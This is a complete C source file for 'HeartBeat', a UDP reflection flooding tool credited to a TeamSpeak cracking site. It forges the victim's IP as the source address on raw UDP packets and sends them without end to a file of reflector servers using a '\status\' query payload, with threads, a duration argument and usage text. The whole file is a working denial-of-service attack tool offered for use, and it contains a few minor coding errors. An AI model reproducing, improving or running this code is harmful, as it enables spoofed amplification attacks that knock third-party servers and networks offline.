heartbeat.c

/*
gcc -oterm -lpthread -w scriptname.c -o scriptname
 */
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define LINUX system // redefine this to #define BSD system if compiling on BSD
static uint32_t Q[4096], c = 362436;

char payload[] = "\x5c\x73\x74\x61\x74\x75\x73\x5c";
size = 8;


struct list
{
    struct sockaddr_in data;
    struct list *next;
    struct list *prev;
};
struct list *head;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x){
      int i;
      Q[0] = x;
      Q[1] = x + PHI;
      Q[2] = x + PHI + PHI;
      for (i = 3; i < 4096; i++)
      {
      Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}

uint32_t rand_cmwc(void)
    {
      uint64_t t, a = 18782LL;
      static uint32_t i = 4095;
      uint32_t x, r = 0xffffffe;
      i = (i + 1) & 4095;
      t = a * Q[i] + c;
      c = (t >> 32);
      x = t + c;
      if (x < c) {
            x++;
            c++;
      }
      return (Q[i] = r - x);
    }

    /* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
    {
      unsigned long sum;
      for (sum = 0; nwords > 0; nwords--)
      sum += *buf++;
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      return (unsigned short)(~sum);
    }

void setup_ip_header(struct iphdr *iph)
    {
      iph->ihl = 5;
      iph->version = 4;
      iph->tos = 0;
      iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + size;
      iph->id = htonl(54321);
      iph->frag_off = 0;
      iph->ttl = MAXTTL;
      iph->protocol = IPPROTO_UDP;
      iph->check = 0;
      iph->saddr = inet_addr("192.168.3.100");
    }

void setup_udp_header(struct udphdr *udph)
    {
      udph->source = htons(57608);
      udph->dest = htons(7778);
      udph->check = 0;
      //            \x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02
      memcpy((void *)udph + sizeof(struct udphdr), payload, size);
      udph->len=htons(sizeof(struct udphdr) + size);
    }

void *flood(void *par1)
    {
      struct thread_data *td = (struct thread_data *)par1;
      char datagram[MAX_PACKET_SIZE];
      struct iphdr *iph = (struct iphdr *)datagram;
      struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
      struct sockaddr_in sin = td->sin;
      struct  list *list_node = td->list_node;
      int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
      if(s < 0){
            fprintf(stderr, "Could not open raw socket.\n");
            exit(-1);
      }
      init_rand(time(NULL));
      memset(datagram, 0, MAX_PACKET_SIZE);
      setup_ip_header(iph);
      setup_udp_header(udph);
      udph->source = sin.sin_port;
      iph->saddr = sin.sin_addr.s_addr;
      iph->daddr = list_node->data.sin_addr.s_addr;
      iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
      int tmp = 1;
      const int *val = &tmp;
      if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
            fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
            exit(-1);
      }
      int i=0;
      while(1){
            sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
            list_node = list_node->next;
            iph->daddr = list_node->data.sin_addr.s_addr;
            iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
            if(i==5)
            {
            usleep(0);
            i=0;
            }
            i++;
      }
    }
int main(int argc, char *argv[ ])
    {
      if(argc < 4){
            fprintf(stderr, "Invalid parameters!\n");
            fprintf(stdout, "HeartBeat by AnonnPL - TeamSpeakCrack.com\n");
            fprintf(stdout, "Usage: %s <IP> <port> <reflection file> <threads> <time>\n", argv[0]);
            exit(-1);
      }
      int i = 0;
      head = NULL;
      fprintf(stdout, "Setting up Sockets...\n");
      int max_len = 128;
      char *buffer = (char *) malloc(max_len);
      buffer = memset(buffer, 0x00, max_len);
      int num_threads = atoi(argv[4]);
      FILE *list_fd = fopen(argv[3],  "r");
      while (fgets(buffer, max_len, list_fd) != NULL) {
            if ((buffer[strlen(buffer) - 1] == '\n') ||
            (buffer[strlen(buffer) - 1] == '\r')) {
            buffer[strlen(buffer) - 1] = 0x00;
            if(head == NULL)
            {
            head = (struct list *)malloc(sizeof(struct list));
            bzero(&head->data, sizeof(head->data));
            head->data.sin_addr.s_addr=inet_addr(buffer);
            head->next = head;
            head->prev = head;
            } else {
            struct list *new_node = (struct list *)malloc(sizeof(struct list));
            memset(new_node, 0x00, sizeof(struct list));
            new_node->data.sin_addr.s_addr=inet_addr(buffer);
            new_node->prev = head;
            new_node->next = head->next;
            head->next = new_node;
            }
            i++;
            } else {
            continue;
            }
      }
      struct list *current = head->next;
      pthread_t thread[num_threads];
      struct sockaddr_in sin;
      sin.sin_family = AF_INET;
      sin.sin_port = htons(atoi(argv[2]));
      sin.sin_addr.s_addr = inet_addr(argv[1]);
      struct thread_data td[num_threads];
      for(i = 0;i<num_threads;i++){
            td[i].thread_id = i;
            td[i].sin= sin;
            td[i].list_node = current;
            pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
      }
      fprintf(stdout, "HeartBeat by AnonnPL - TeamSpeakCrack.com\n");
      fprintf(stdout, "Starting Flood...\n");
      if(argc > 5)
      {
            sleep(atoi(argv[5]));
      } else {
            while(1){
            sleep(1);
            }
      }
      return 0;
    }